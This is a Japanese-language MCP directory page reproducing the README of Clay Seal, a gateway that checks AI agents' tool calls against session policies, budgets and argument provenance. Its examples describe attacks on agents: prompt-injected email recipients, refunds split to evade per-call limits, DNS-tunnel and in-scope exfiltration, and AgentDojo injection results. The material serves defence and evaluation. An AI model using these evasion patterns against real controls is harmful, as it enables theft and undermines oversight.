mcpField
C
Clay Seal

Clay Seal

ローカル
github.com/claysealセキュリティ17 週間前に更新

Clay Seal について

Clay Sealは、AIのツール利用をセッション全体で制御するポリシーゲートウェイです。許可、累計予算、引数の出所、過去の操作を評価し、実行許可、承認待ち、拒否を判断します。

主な機能

  1. 01セッション単位のポリシー検査
  2. 02呼び出しと金額の累計予算
  3. 03許可・承認待ち・拒否の判断
  4. 04ポリシーによるツール一覧の絞り込み
  5. 05PythonラッパーとMCPプロキシ

活用シーン

  1. 01複数回の返金に累計上限を設定
  2. 02リスト外のメール送信に承認を要求
  3. 03MCPサーバーが公開するツールを制限

MCP 対応

Clay Sealはクライアントと既存サーバーの間に置くMCPゲートウェイとして動作します。セッションポリシーでツール呼び出しを判定し、未許可のツールを一覧から除外します。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

mcp.json · 共通設定
{
"mcpServers": {
"clayseal-clayseal": {
"command": "uvx",
"args": [
"clayseal"
]
}
}
}
起動コマンドuvx clayseal

ローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。

パッケージ
pypiclayseal0.6.2

ツール

ツール一覧はまだ取得されていません

ローカルサーバーのツールはマシン上で起動して初めて取得できます。メンテナーはまだツール一覧を提供していません。

詳細

Clay Seal

Clay Seal のロゴ

License: MIT Python Tests PyPI

ビジネスプロセスのロジック制約を AI システムに組み込みます。

エージェントには、1,000 ドルの返金上限があります。それでも 900 ドルの返金を 11 回実行します。各返金は個別の上限内なので、呼び出しごとのチェックはすべて通過し、合計 9,900 ドルが支払われます。呼び出しを 1 回ずつ見るだけでは、これを検知できません。

Clay Seal はツールの手前に配置され、付与された権限、累計額、引数の出所、そしてエージェントがすでに実行した処理を踏まえて、セッション全体に照らして各呼び出しを判定します。

目次

まずはここからインストールして、2 つの攻撃を阻止する様子を見る
2 行で使うすでにあるツールをラップする
MCP サーバーの手前に置くコードの変更は不要
ポリシーを書くオペレーターが封印する権限付与
仕組み実行順に並んだ 6 つのレイヤー
測定するもの数値と、それが示すものではないもの
境界線これは何をしないのか
ドキュメントまずは docs/START.md、次に docs/
ソースからビルドするテストも実行する

コードに取り組んでいますか? docs/INTEGRATION.md には、リリース済みのゲートウェイが実際に実行するモジュールが記載されています。実際に動作する経路と、まだ接続されていない部分を最短で見分ける方法です。判定処理自体は clayseal/capabilities/broker.py の SessionBroker._authorize_locked にあります。拒否の大半は、同じファイルの _floor で発生します。

まずはここから

コーディングエージェントの場合は、デプロイ手順書に進んでください。

pip install clayseal
clayseal try

clayseal try は 1 分ほどで実行できます。目の前で 2 つの攻撃を実行し、ゲートウェイが阻止する様子を表示します。設定は不要で、キーを取得する必要もなく、マシンの外にデータが送信されることもありません。

clayseal try:1,000 ドルの上限に対する 900 ドルの返金 11 回。最初は許可され、残りは拒否されます。続いて、注入されたメールの宛先が保留され、人による確認を求めます

ここでの判定はすべて、実際にデプロイできるものと同じゲートウェイがその場で行います。この図は実際の実行結果を python scripts/render_try_svg.py で生成したもので、コマンドの出力と一致しなくなるとテストが失敗するため、かつて動作していた内容のスクリーンショットになることはありません。

Python 3.10~3.14 に対応しています。依存関係は cryptography と pyyaml の 2 つです。

名前について。 ディレクトリ名は agentauth-capabilities、パッケージ名は clayseal、インポート名は clayseal.capabilities です。プロジェクトは 0.6 で改名されました。agentauth は引き続き非推奨の互換用 shim としてインポートできます。詳しくは末尾の 命名 を参照してください。

エージェントの場合

編集しているプロジェクトで、次の手順を順番に実行してください。

clayseal try --fast
clayseal howto
clayseal policy new > policy.yaml
# rename your_* tools; put mailboxes in egress.recipients; then:
clayseal policy lint policy.yaml
clayseal skill --write

Python 関数の場合:Guardrail.from_policy_file("policy.yaml").wrap_all({...}) を呼び出し、ラッパーを割り当てます。キーは tools.allow と一致している必要があります。セッションごとに Guardrail を1つ作成してください(新しく作成すると上限がリセットされます)。Refused(予算不足/許可されていない)と StepUpRequired(保留中 — 許可リスト外のメールアドレスで一般的です)を捕捉してください。ファイルを扱わないツールは paths.pathless に指定します。

すでに MCP サーバーを使っている場合(Claude Desktop/Cursor):clayseal serve ではなく clayseal proxy を使ってください。proxy に通常の .py ファイルを指定しないでください。手順書は clayseal howto で確認できます。

2行で使う

すでにお使いのツールをラップします。エージェントのほかの部分は変更不要です。

from clayseal.capabilities import Guardrail, Refused, StepUpRequired

def list_open_refunds():
    return [{"invoice": "INV-001", "amount": 900.0},
            {"invoice": "INV-002", "amount": 900.0}]

def issue_refund(invoice, amount):
    return f"refunded {invoice} ${amount:.2f}"

guard = Guardrail.from_dict({
    "version": 1,
    "goal": {"id": "refund-run",
             "summary": "Refund the invoices the customer disputed."},
    "expires_at": "2030-01-01T00:00:00Z",
    "tools": {"allow": ["list_open_refunds", "issue_refund"],
              "harmless": ["list_open_refunds"],
              "effects": {"list_open_refunds": "read", "issue_refund": "transfer"}},
    "paths": {"pathless": ["list_open_refunds", "issue_refund"]},
    "budgets": {"value": {"ceilings": {"refunds": "1000.00"},
                          "tracked": {"issue_refund": {"arg": "amount",
                                                       "budget": "refunds"}}}},
})
tools = guard.wrap_all({"list_open_refunds": list_open_refunds,
                        "issue_refund": issue_refund})

# Call them exactly as before. The gateway decides before the tool runs.
for row in tools["list_open_refunds"]():
    try:
        print(tools["issue_refund"](invoice=row["invoice"], amount=row["amount"]))
    except Refused as exc:
        print("refused:", exc.reasons)      # hand the reason back to the agent
    except StepUpRequired as exc:
        print("needs a human:", exc.reasons)

最初の返金は実行されます。2回目は拒否されます。セッション上限の1,000ドルをすでに使い切っているためです。どちらの呼び出しも、関数には到達していません。

ここではポリシーをインラインで記述しているため、全体をファイルに貼り付けて実行できます。実際のデプロイでは、セキュリティチームがレビューし、プルリクエストでゲートできるよう、独立した YAML ファイルに保存します。clayseal policy new > policy.yaml はコメント付きのひな型を書き出し、Guardrail.from_policy_file はそれを読み込みます。

ラッパーは元の関数の名前、docstring、シグネチャを保持するため、関数をイントロスペクトするフレームワークには以前と同じツールとして認識されます。LangGraph、OpenAI Agents SDK、CrewAI、手書きのループに対応します。元の関数と同じように、位置引数または名前付き引数でラッパーを呼び出してください。

または MCP サーバーの前段に配置する

コードの変更は一切不要です。ゲートウェイは MCP に対応しているため、エージェントとサーバーの間に配置できます。

clayseal proxy --policy policy.yaml -- npx @your-org/mcp-server

または、Claude Desktop の MCP 設定、Cursor の MCP 設定、あるいは .cursor/mcp.json に貼り付けてください。エージェントは Clay Seal と通信し、Clay Seal はサーバーと通信します。

{
  "mcpServers": {
    "billing": {
      "command": "clayseal",
      "args": ["proxy", "--policy", "policy.yaml",
               "--", "npx", "@your-org/mcp-server"]
    }
  }
}

ポリシーで許可されていないツールはカタログから削除されるため、エージェントにその存在が知らされることはありません。

ポリシーを書く

これはポリシー全体です。問題なくリンティングを通過します。

version: 1

goal:
  id: refund-run
  summary: Refund the invoices the customer disputed.

expires_at: 2027-12-31T00:00:00Z

tools:
  allow:    [list_open_refunds, issue_refund]
  harmless: [list_open_refunds]                 # a read spends nothing
  effects:  {list_open_refunds: read, issue_refund: transfer}

paths:
  pathless: [list_open_refunds, issue_refund]   # these act on invoices, not files

egress:
  domains: [acme.example]
  recipients: [[email protected]]               # a domain alone is every mailbox
  bind_recipients: true

budgets:
  value:
    ceilings: {refunds: "1000.00"}              # dollars, for the whole session
    tracked:
      issue_refund: {arg: amount, budget: refunds}

リリース前に clayseal policy lint policy.yaml を実行してください。最も重要なミス、つまり金銭を使えるツールが予算を差し引かない状態を検出します。上記のファイルではエラーなし、警告が1件報告されます(プリンシパルを関連付けない限り、上限はセッションごとです)。この警告は、まだ決定していない実際の事項を示しています。

リファレンス全文:docs/POLICY.md。

攻撃を阻止する様子を見る

チェックアウトした状態で実行してください。examples/ には7つの例があり、どれもキーやネットワーク接続なしで実行できます。

python examples/02_the_proxy.py
tools advertised to the agent: list_open_refunds, issue_refund
  (the server offers wire_funds; the policy does not grant it, so the agent is never told it exists)

  ok   issue_refund       INV-001   paid INV-001 $900.00
  DENY issue_refund       INV-002   refused by policy: value_budget_exceeded
  ...
  DENY issue_refund       INV-011   refused by policy: value_budget_exceeded
  DENY wire_funds         ops-float refused by policy: tool 'wire_funds' is not in this session's policy

the server executed 2 call(s):
  list_open_refunds {}
  issue_refund {"amount": 900.0, "invoice": "INV-001"}

clayseal proxy: 2 allowed, 11 denied, 0 held for approval; withheld from the catalog: wire_funds

最後のブロックを読んでください。JSON-RPC エラーは、エージェントに「いいえ」と伝えられたことを証明します。サーバー独自の台帳は返金が実行されなかったことを証明します。これらは別々の主張です。実際のデプロイで使う形であるコマンドラインで、同じ実行を行います。

clayseal proxy --policy examples/refund.yaml -- python examples/refund_server.py

仕組み

ゲートウェイにポリシーファイルと、セッションの目標を渡します。開始時に目標を封印するため、エージェントが後から読む内容によって、承認済みの範囲が広がることはありません。その後、すべてのツール呼び出しは実行前に、ひとつの判定ポイントを通ります。

flowchart LR
    P["policy.yaml<br/>reviewed and diffed<br/>like any other file"]
    A["your agent"]
    G{{"Clay Seal"}}
    T["your tools<br/>or MCP server"]
    H["a person"]
    X["never runs"]
    S[("session state:<br/>running totals,<br/>where arguments<br/>came from")]

    A -- "tool call" --> G
    P -. "sealed at session start" .-> G
    G -- "allow" --> T
    G -- "step up" --> H
    G -- "deny" --> X
    H -- "yes, once, for<br/>these arguments" --> T
    T -- "result" --> S
    S -. "the next call is judged<br/>against all of this" .-> G

下部にあるこのループが、仕組みの全体です。ゲートウェイは呼び出し単体をチェックするのではなく、セッションでそれまでに行われたすべての操作と照らし合わせてチェックします。

呼び出しに対する判定は、次の3つです。

  • 許可。呼び出しはツールに渡されます。
  • 承認に引き上げ。呼び出しは人による承認を待ちます。
  • 拒否。呼び出しは実行されません。

誤った拒否は大きな損失につながるため、承認への引き上げがあります。自律型の攻撃者は、拒否された場合と同じように、承認待ちの呼び出しによって阻止されます。一方、正当なエージェントが永久に止められることはありません。拒否は、問題があることを示す明確な証拠がある場合に限られます。

これらの判定を行うチェックは、最も低コストで厳格なものから順に固定されています。そのため、早い段階で拒否された呼び出しが、コストの高いレイヤーに到達することはありません。

  1. 基本条件。 単純なルールです。許可の有効期限は切れていないか、このツールは許可されているか、このパスは対象範囲内か、この宛先は送信先リストに含まれているか、予算は残っているかを確認します。最も高速で、拒否の大半を占めます。
  2. 宣言。 エージェントがあらかじめ計画を示している場合、その計画の実行前に、封印された目標と照らし合わせてチェックします。
  3. コンテンツ。 宣言された書き込みが目標に合致するかを確認し、効果を伴う書き込みのペイロードを検査します。判定は承認への引き上げのみで、拒否はしません。
  4. セッション状態。 累積値、どの値が信頼できないテキストに由来するか、およびそれらの値に適用されるルールを確認します。
  5. 来歴。 宛先がどこから来たのかを確認します。封印された目標に記載された受取人は信頼されますが、エージェントが後から読んだテキストに登場した受取人は信頼されません。
  6. 振る舞い。 セッションの進み方が目標に沿っているかを監視します。デフォルトでは助言のみを行い、エスカレーションはしますが、ブロックはしません。ブロックする各段階は、十分な数の正常なセッションを観測して調整するまで、数学的に発動できないようにもなっています。適合 p 値は 1/(n+1) を下回ることができず、適用されるアルファはその下限より小さいためです。検出器は発動できない段階を明示するため、発動不能な段階が、実際に検査して何も見つからなかった段階のように見えることはありません。

以下でいう予算とは、ゲートウェイがセッション全体にわたって管理する累積値です。金額、呼び出し回数など、数えられるものは何でも対象になります。個々には合法な呼び出しでも、積み重なると違法になることを検出できるのは、このチェックだけです。以下の測定結果から、これが有効性を左右することがわかります。

測定内容

シナリオとスイープは wheel ではなくリポジトリに含まれているため、クローンが必要です。所要時間は約10秒で、ネットワークへのアクセスはありません。

git clone https://github.com/clayseal/clayseal-capabilities.git
cd clayseal-capabilities
pip install -e .
python -m benchmarks.bpl_sweep --suite full

132件の業務プロセスシナリオがあり、それぞれにスクリプト化された攻撃と、その正常な対照シナリオがあります。列は2つあります。どちらか一方だけなら、すべて拒否すれば封じ込めに成功し、すべて許可すれば完了に成功するため、簡単に勝ててしまうからです。重要なのは、両方を同時に達成することです。

攻撃を封じ込め、かつ正常な対照シナリオを完了:全テスト、n=132:

条件封じ込めかつ完了
防御なし0/132、97.5% 上限 2.8%
すべて拒否0/132、97.5% 上限 2.8%
ポリシーを指定した場合の呼び出しごとの認可0.8%(1/132)
データフローの汚染追跡11.4%(15/132)
Clay Seal39.4%(52/132)

データフローの汚染追跡と比べると、28.0ポイント[18.2、37.9]、正確 McNemar 検定 p=1.2e-07の差があります。132件の正常な対照シナリオのうち、このゲートが拒否するのは2件で、どちらも作業を失いません。汚染追跡は49件を拒否し、そのうち43件で作業が失われます。

見出しの前に読むべき1つの数字

39.4%は、1つの割合ではなく、異なる2つのケースの平均です。 どちらのケースに当てはまるかを決めるのはルールです。何かを実行する前に、自分のポリシーを読めば判断できます。

ルールに数えられる上限が定められていますか?シナリオ数Clay Sealdataflow taint
はい4283.3% [69.4%, 91.7%]2.4% [0.4%, 12.3%]
いいえ9018.9% [12.1%, 28.2%]15.6% [9.5%, 24.4%]

Fisher の正確検定:p = 6.5e-11。

ですから、数えられるものに上限を設ける形でルールを記述してください。 「1セッションあたりの返金額は1,000ドル以下」は強制できます。「不適切なことは何もしないでください」は強制できません。ゲートウェイが保持できる累計値がないためです。clayseal policy lint は、支出できるのに予算を差し引かないツールをすでに検出します。この測定結果は、その警告の価値を示しています。

そのほかの内容

上記のスイートは私たちが作成したものです。まず疑ってかかるべきなのはその点です。 docs/EVIDENCE.md には、私たちが作成したものではないエビデンス、ゲートのコスト、そして制限をすべて掲載しています。

防御策を知っている攻撃者24組のコーパスと目的、173,699件の候補。24組のうち23組では、判定結果を完全に把握しても攻撃者に利点はありません。残る1組は、適応的な攻撃が成功した場合にどれほどの価値があるかを示しています
私たちが作成したものではない11種類の外部コーパスゲートウェイが拘束できるものによって害が定義される場合は98~100%、許可されたアクションの内容によって定義される場合は31~55%。摩擦の列は、不完全なポリシーによって生じるコストを示しています
実際に稼働するモデル、AgentDojo のプロンプトインジェクション216回の実行で攻撃成功は1回、0.5% [0.1, 2.6]。Progent が公表した11.1~16.7%との比較
そのコスト、4つのモデルでタスクごとにペア比較最も弱いモデルでは25ポイント減、最も強いモデルでは3ポイント減。CaMeL が公表したコストは7です
1回の判定につき34 µs、セッションの長さにかかわらず一定そして、中央値よりも興味深い3つの数値
これらすべてに勝る制限次のステップを事前に予測できない自由形式の作業では、1タスクあたり21.67回の中断が発生します

すべての主要な結果と、それを再現するコマンドはこちらです。 benchmarks/results/README.md。

境界はどこにあるか

強制ポイントを配置する方法は3つあります。それぞれ、エージェントが突破するために必要なことが異なります。この違いを1つの数値にまとめず、明確に示す価値があります。

層仲介するもの突破する方法状態
プロセス内ハーネスが authorize() を経由させるツール呼び出しこれを呼び出さないハーネス、またはラップされていないツール提供中
プロキシ構造上、トランスポート上のすべてのツール呼び出し別の方法でツールに到達できるプロセス提供中
システムコールゲストが試みるすべての操作、偽造不可能この層にはありませんリファレンスバックエンドはmacOSのみ

プロキシは、プロセス内の経路では実行できないチェックも3つ行います。アクションが含むパスだけでなく、呼び出しで指定されたすべてのパスを検査します。JSONに重複キーがあるメッセージは拒否します。また、先行する結果が届くまで副作用のある呼び出しを保留するため、宛先の由来を知らされる前にその確認を求められることはありません。違いと、プロセス内の統合で独自に行う必要があることは、docs/POLICY.mdの表に記載されています。

ほとんどのデプロイではプロキシが適しています。エージェントは clayseal proxy に接続し、clayseal proxy は実際のMCPサーバーを実行します。そのため、拒否された呼び出しにはJSON-RPCエラーが返され、サーバーのサブプロセスにはフレームが届きません。ポリシーの対象外のツールは公開されるカタログからも削除されるため、エージェントが後で拒否されるツールを前提に計画することもありません。

システムコール層は、エンベロープの送信先範囲とパス範囲をサンドボックスポリシーにコンパイルし、偽造不可能な判定ストリームを取得します。リファレンスバックエンドはiVisorを制御します。

これより上の層では検出できない種類の攻撃を1つ検出できます。 DNSトンネルはサブドメインにペイロードをエンコードし、リゾルバーを通じてデータを送信します。ツールは関与しません。ツール呼び出しがないため、authorize() が呼び出されることはなく、上位のどの層も拒否しません。取得したトレースでは、iVisorは4つすべてのクエリを拒否し、ツール呼び出し層は1つも拒否しません(syscall_tier.md)。

逆のケースもあります。許可リストに登録されたチャネルを通じたビーコン通信では、各システムコールが実際に許可されているため、iVisorには拒否できるものがありません。異常なのは累積量であり、それを抑えるのはセッション予算だけです。どちらの層ももう一方を包含しないため、両方を実行する理由があります。

iVisorがmacOSのみなのは、その設計上の制約によるものです。Hypervisor.frameworkでは1プロセスにつき1台のVMしか実行できず、呼び出し元には取り消し不可能なSeatbeltプロファイルが適用されます。agentauth.sandbox_backends エントリポイントにより基盤を差し替えられます。LinuxのseccompまたはLandlockバックエンドは未着手であり、提供しているものではありません。

この方法で解消できないギャップ

スコープ内でのステージングです。エージェントが許可範囲内にある秘密クラスのオブジェクトを読み、その内容を同じ許可範囲内にある公開クラスのオブジェクトに書き込みます。どちらの操作も許可されており、エージェントには両方を含むワークスペースが正当に与えられているため、パス範囲では対処できません。オラクルを持つ攻撃者を基準に測定すると、タスクからデータが持ち出される集合は allow-all とバイト単位で完全に一致します(in_scope_exfiltration.md)。機密性フロートラッカーは、追加の保護層としてその一部をカバーしますが、大規模なフラグメント分割と鍵なしのエンコードは未解決です。コーディングエージェントについて封じ込めを主張するなら、この点にも触れる必要があります。

ポリシードキュメント

権威となるものはファイルなので、セキュリティチームは内容を読み、プルリクエストで差分を確認し、それを条件にマージを制御できます。

version: 1
goal:
  id: billing-triage-2026-08
  summary: Triage the open billing tickets and email a summary to the ops archive.
profile: supervised          # autonomous | supervised | benchmark
expires_at: 2026-12-31T00:00:00Z

tools:
  allow:    [list_tickets, read_ticket, write_summary, send_email]
  harmless: [list_tickets, read_ticket, write_summary]
  effects:  {write_summary: write, send_email: send}

paths:
  allow: ["out/**", "tickets/**"]
  deny:  [".env", ".git/**"]
  arg_names: {write_summary: path}     # which argument carries the path
  pathless:  [send_email]              # asserted to act on no path

egress:
  domains: [acme-internal.com]
  bind_recipients: true

budgets:
  calls:
    ceilings: {emails: 3}
    tracked:  {send_email: emails}
clayseal policy show policy.yaml   # what it authorizes
clayseal policy lint policy.yaml   # what a reviewer should ask about

lint はエラーが見つかるとゼロ以外の終了コードを返すため、マージ前のゲートとして機能します。ゲートウェイが起動を拒否する理由を報告するので、作成者がトレースバックを見て初めて気づくことはありません。

ERROR   untracked-effectful-tool issue_refund: reachable and in the 'value'
        family but debits no budget, so no ceiling applies to it at all
WARNING session-scoped-ceiling   emails: counted per session, so a second
        session gets a second ceiling

コンパイルされたポリシーにはドキュメントのダイジェストが含まれ、ゲートウェイはそれをすべての判定に付与します。そのため、監査証跡には判定内容だけでなく、どの権威に基づいて判定されたかも記録されます。

独自のツールを指定する

必要な宣言は2つです。どちらも、デフォルト設定が実際のカタログではなく、ベンチマーク用カタログを基準に調整されているために用意されています。

tools.effects は各ツールの動作を指定します。動詞によって適用される基本ルールが決まりますが、名前から動詞を推測できるのは send_email のような名前の場合であり、terraform_destroy のような名前ではうまくいきません。広く使われているMCPサーバーから取得した24個のツール名のうち、17個は分類器が認識できません。

paths.arg_names は、どの引数にパスが含まれるかを指定します。ゲートウェイが検索するのは file_path、path、filename、file です。ツールがこれを target_dir や key と呼んでいる場合、パスは取得されず、パススコープも適用されません。パスを解決できない副作用のある呼び出しは、チェックなしで許可されるのではなく拒否されるため、問題は見逃されず明確になります。

clayseal policy lint は、どちらか一方の設定が欠けているツールをすべて示します。自分が設計していないカタログ向けに初めてポリシーを書く前に、docs/POLICY.md を読んでください。

承認者がエンジニアリングではなくリスク管理の担当者である場合は、docs/CONTROLS.md に、このライブラリがどの義務の証拠を生成するかが記載されています。対応関係が厳密な場合はフレームワークの文言を引用し、そうでない場合は機能レベルで説明しています。また、このドキュメントは、ライブラリは統制体制ではなく、誰かを何らかの規則に準拠させることもできない、と明記して始まります。

すでにある情報を使って最初のポリシーを書く

最初のポリシーを空のファイルから書かずに済むよう、2 つのコマンドが用意されています。どちらも人が仕上げるドラフトを生成するもので、許可を与えるものではありません。

# What the tools are called, from the server you already run.
clayseal policy init -- npx @your-org/mcp-server

# What the organisation permits, from the document that already says so.
clayseal policy draft delegation_of_authority.md

# Both halves in one file. This is the one worth running.
clayseal policy init --rules delegation_of_authority.md \
    -- npx @your-org/mcp-server > draft.yaml
clayseal policy lint draft.yaml

init はサーバーに tools/list を要求し、サーバーがすでに公開しているスキーマからツール名、それぞれの効果、パスを持つ引数を読み取ります。draft は「1 回のベンダーへの支払いは 10,000 ドルを超えてはならない」といった文章から、上限、期間、一度限りのルール、ディレクトリ、許可されたドメインを読み取ります。

どちらも権威ある情報源ではありません。その理由はそれぞれ異なります。文書はエージェントを念頭に置いていない人々が編集する成果物なので、それを管理する者が許可をも管理できてしまいます。カタログは、このポリシーによって制約されるサーバーが作成するものなので、サーバーが wire_funds を「残高を読み取る」と説明すれば、自らの制限を自ら定めることになります。そこから、次の 3 つの性質が導かれます。

  • すべてのルールには、元になった文書の行が記載されるため、レビュー担当者はソースを読み直さずに、YAML と該当する文を照合できます。
  • ルールのように読める文が変換されなかった場合は、TODO コメントになります。何を落としたかを明らかにしているドラフトのほうが、完成しているように見えるドラフトよりも優れています。変換の過程で消えたルールは、誰にも気づかれないからです。
  • カタログはツールの効果を引き上げることはできますが、引き下げることはできません。サーバーが自らの効果を伴うツールを読み取り専用と説明した場合、それを信じるのではなく報告します。スキーマを公開しないツールは、パスを取らないものとして記録されません。「サーバーは何も言わなかった」と「サーバーは何もないと言った」は、異なる事実です。

意図的に空欄にしているのは、上限とツールを対応付ける budgets.tracked です。文書には上限が記され、カタログにはどの引数が金額を持つかが記されていますが、どのツールがどの上限を差し引くかはどちらにもありません。間違ったツールを指定すると、共有の上限が 2 つに分かれてしまいます。人が対応付けられるよう、どちらもコメント付きの候補として出力されます。

権限委譲に関する 30 行の文書と、7 つのツールを持つ AP サーバーで、最初から最後まで動作させました。9 件のルールを抽出し、3 つの文を TODO として残しました。レビュー後、ゲートウェイは次の 4 つの操作を拒否します。24 時間の移動合計が 50,000 ドルを超える支払い、支払い済みの請求書への 2 回目の支払い、.ledger ファイルへの書き込み、/finance/ap/ 外への書き込みです。TODO の 1 つは「支払いを準備した人は承認してはならない」です。これはこのレイヤーでは表現できない実際のルールであり、出力では何もなかったかのように扱われず、コメントとして表示されます。

独自のワークロードにルールを追加する

ここまでの各設定項目は、ほかの人が選んだ動作を調整するものです。「うちでは X も禁止」というルールは、フォークせずにここへ追加できます。

from clayseal.capabilities import GoalSpec
from clayseal.capabilities.deployable_stack import DeployableStack
from clayseal.capabilities.session_rules import SessionRuleHit

def no_competitor_domains(action, session, *, goal_summary, egress_verbs):
    if "competitor.test" in str(action.args or {}):
        return SessionRuleHit("house-rules", "destination is a competitor domain")
    return None      # None means "this rule has nothing to say"

goal = GoalSpec(query_id="refund-run", summary="Refund the disputed invoices.")
stack = DeployableStack.from_goal(goal, house_rules=(no_competitor_domains,))

ルールに該当した場合の動作は、拒否ではなく、必ずステップアップです。独自のワークロードに合わせて書いたルールは、それが拒否するトラフィックを基に検証されていません。ステップアップなら、自律型の攻撃者を同じように止めつつ、人が許可できる余地を残せます。独自のルールは同梱のルールの後に実行されるため、独自ルールによって同梱のルールが覆い隠されることはありません。ルールの評価時にエラーが発生した場合、そのルールはスキップされ、session_rules.RULE_FAILURES にカウントされますが、判定処理は続行されます。正規表現のエラーを理由に認可を停止するゲートウェイは、ルールを見逃すゲートウェイよりも問題です。

低レベル API

上記の Guardrail は、ほとんどのインテグレーションで使われるラッパーです。独自のループを構築していて、ゲートウェイを直接呼び出したい場合、判定 API は次の 1 つのメソッドです。

from clayseal.capabilities.monitor.action import Action
from clayseal.capabilities.policy import compile_policy
from clayseal.capabilities.tool_verbs import classify_verb

gateway = compile_policy({
    "version": 1,
    "goal": {"id": "billing",
             "summary": "Triage tickets and email [email protected]"},
    "expires_at": "2030-01-01T00:00:00Z",
    "tools": {"allow": ["read_ticket", "send_email"],
              "harmless": ["read_ticket"],
              "effects": {"read_ticket": "read", "send_email": "send"}},
    "paths": {"pathless": ["read_ticket", "send_email"]},
    "egress": {"domains": ["acme-internal.com"], "bind_recipients": True},
}).build()

agent_calls = [
    ("read_ticket", {"id": "T-1042"}),
    ("send_email", {"to": "[email protected]", "body": "3 open, 1 escalated"}),
    ("send_email", {"to": "collector-metrics.example", "body": "3 open, 1 escalated"}),
]

for step, (tool, args) in enumerate(agent_calls):
    decision = gateway.authorize(Action(
        step=step, tool=tool, resource=f"mcp:tool:{tool}",
        verb=classify_verb(tool), args=args,
    ))
    print(tool, decision.outcome, decision.reasons)
    if not decision.allowed:
        continue                    # hand the reasons back to the agent
    # run(tool, args)

(チェックアウトしたリポジトリの)examples/01_gateway.py は、エージェントが読み取りを許可されていたチケットに仕込まれたプロンプトインジェクションに対して、一連の処理を最後まで実行します。4 回目の呼び出しは許可され、5 回目の呼び出しは人による確認待ちになります。

ここで処理を止めるのは、呼び出しごとに適用されるルールである送信先許可リストです。 注入されたアドレスはドメイン外のため、最もシンプルな最低限のチェックで検出され、来歴レイヤーは参照されません。これはゲートウェイが正しい順序で動作していることを示すものであり、このドキュメントが独自の特徴として主張する内容を実証するものではありません。そのため、この例ではどのレイヤーが発動したかを表示し、examples/README.md ではドメインリストを削除した同じセッションを実行し、来歴が判定を行う様子を示しています。

ポリシーでドメインを指定し、攻撃者がそのドメイン内のアドレスを指定した場合、最低限のチェックでは対処できず、メールボックスを制限するのは egress.recipients です。これはデフォルトでは有効になっておらず、clayseal policy lint でも必須ではないため、ドメインへのアクセスを許可するポリシーは、そのドメイン上のすべてのメールボックスへのアクセスを許可します。

セキュリティポスチャ

環境で開発環境であることが明示されていない限り、ガードはフェイルクローズで動作します。

CLAYSEAL_ENV=development    # relaxes them, and says so once per process

環境変数が未設定、または production に設定されている場合、固定されていないコミットトークン発行キーは拒否され、リプレイストアが存在しない場合は拒否され、署名のないステップアップ承認は拒否され、固定されていない署名者によるインテントエンベロープは拒否されます。以前は極性が逆で、このセクションを読んでいないデプロイでは、これら 4 つすべてが受け入れられていました。

何に署名するのか、誰が署名するのか、何が対象外なのかについては、docs/THREAT_MODEL.md を参照してください。

ソースからビルドする

git clone https://github.com/clayseal/clayseal-capabilities.git
cd clayseal-capabilities
python -m venv .venv && source .venv/bin/activate
pip install -e ".[dev]"
pytest python/tests -q
python examples/01_gateway.py

オプションの追加機能:

pip install "clayseal[oidc]"     # live OIDC/JWKS verification
pip install "clayseal[spiffe]"   # SPIFFE Workload API
pip install "clayseal[redis]"    # shared replay and ledger stores
pip install "clayseal[monitor]"  # the learned trajectory scorer

アイデンティティ

ゲートウェイにアイデンティティレイヤーは必要ありません。独自の IdP から検証済みのクレームを取り込み、IdentitySession を構築して、そこからコミットトークンを発行してください。SPIFFE JWT-SVID、OIDC、Auth0、AWS STS、Entra Agent ID、Azure AD、GCP、A2A 署名付きエージェントカード向けのアダプターが用意されています。

from clayseal.capabilities.identity_adapters import get_identity_provider

session = get_identity_provider("oidc").build_session(
    verified_claims,          # your IdP already checked signature, aud, exp
    evidence_verified=True,
)

ドキュメント

docs/README.md が目次です。特に役立つドキュメントはこちらです。

  • デモから独自のエージェントを作成するまでの「最初の10分」:Your first ten minutes
  • これをデプロイするコーディングエージェント向けの「エージェントのメモ」:Agent notes
  • 機械可読な目次:llms.txt
  • 測定した数値と、それを超えない限界のすべて:Evidence
  • エクスポートされる名前と、実際に多くのインテグレーションで使用される機能に基づく段階別の分類:API reference
  • インストールして組み込む方法:Developer guide
  • ポリシーファイルに記述できる内容:Policy reference
  • 防御対象と、防御対象ではないもの:Threat model
  • 保存するデータと、プロセス外に送信されるデータ:Privacy and data handling

脆弱性の報告についてはSECURITY.mdをご覧ください。貢献については CONTRIBUTING.mdと 行動規範をご覧ください。agentauth-capabilitiesからのアップグレードについては、 docs/MIGRATION.mdをご覧ください。コーパスとそのライセンスについては、 THIRD_PARTY.mdをご覧ください。リリースの作成については、 docs/RELEASING.mdをご覧ください。

命名

製品、配布物、インポートルート、CLI は、すべて clayseal です。

0.6 より前は、プライベートフィードを通じて設計パートナー向けに agentauth-capabilitiesとして配布され、agentauth.capabilitiesからインポートしていました。これらのインポートパスは引き続き解決されますが、DeprecationWarningが出力されます。0.7 で削除されます。エイリアスされたモジュールは実際のモジュールと同じオブジェクトなので、旧パス経由で登録されたプラグインは新しいパスからも認識されます。移行は検索と置換で行えます:docs/MIGRATION.md。

ストレージキーとワイヤ識別子は、意図的に変更していません。リプレイストアでは引き続き、コミットトークンをagentauth:commit:の下に格納します。ゲートウェイがすでに使用済みのトークンを認識しなくなると、まさに閉じるために存在するリプレイの窓が再び開いてしまうためです。

共有コントラクトと暗号ヘルパーを含むclayseal.coreは、以前は独立したプライベート配布物でしたが、現在はこのリポジトリに含まれています。アイデンティティ層とレシート層は引き続き別の配布物であり、どちらもここでは必要ありません。

ライセンス

MIT。詳細はLICENSEをご覧ください。

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。